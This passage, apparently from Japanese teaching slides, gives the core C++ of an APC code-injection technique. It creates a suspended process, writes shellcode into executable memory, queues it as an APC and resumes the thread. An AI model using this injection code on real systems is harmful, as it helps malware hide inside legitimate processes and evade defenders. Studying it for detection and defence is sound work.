pi{}; //[1] 新規に正規のプロセスを作成する。その際メインスレッドをサスペンド状態で作成する。 CreateProcessA(nullptr, argv[1], nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)); //[2] シェルコードを書き込むためのバッファ(メモリ)を正規プロセス側に確保する lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //[3] 確保したバッファにシェルコードを書き込む WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL); //[4] サスペンド状態のスレッドのAPCキューにシェルコードのアドレスを⼊れる PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer; QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); //[5] 対象スレッドのサスペンド状態を解除する(スレッドを再開する) ResumeThread(pi.hThread); 04_apcinjection.cpp 主要なコードはたったこれだけ!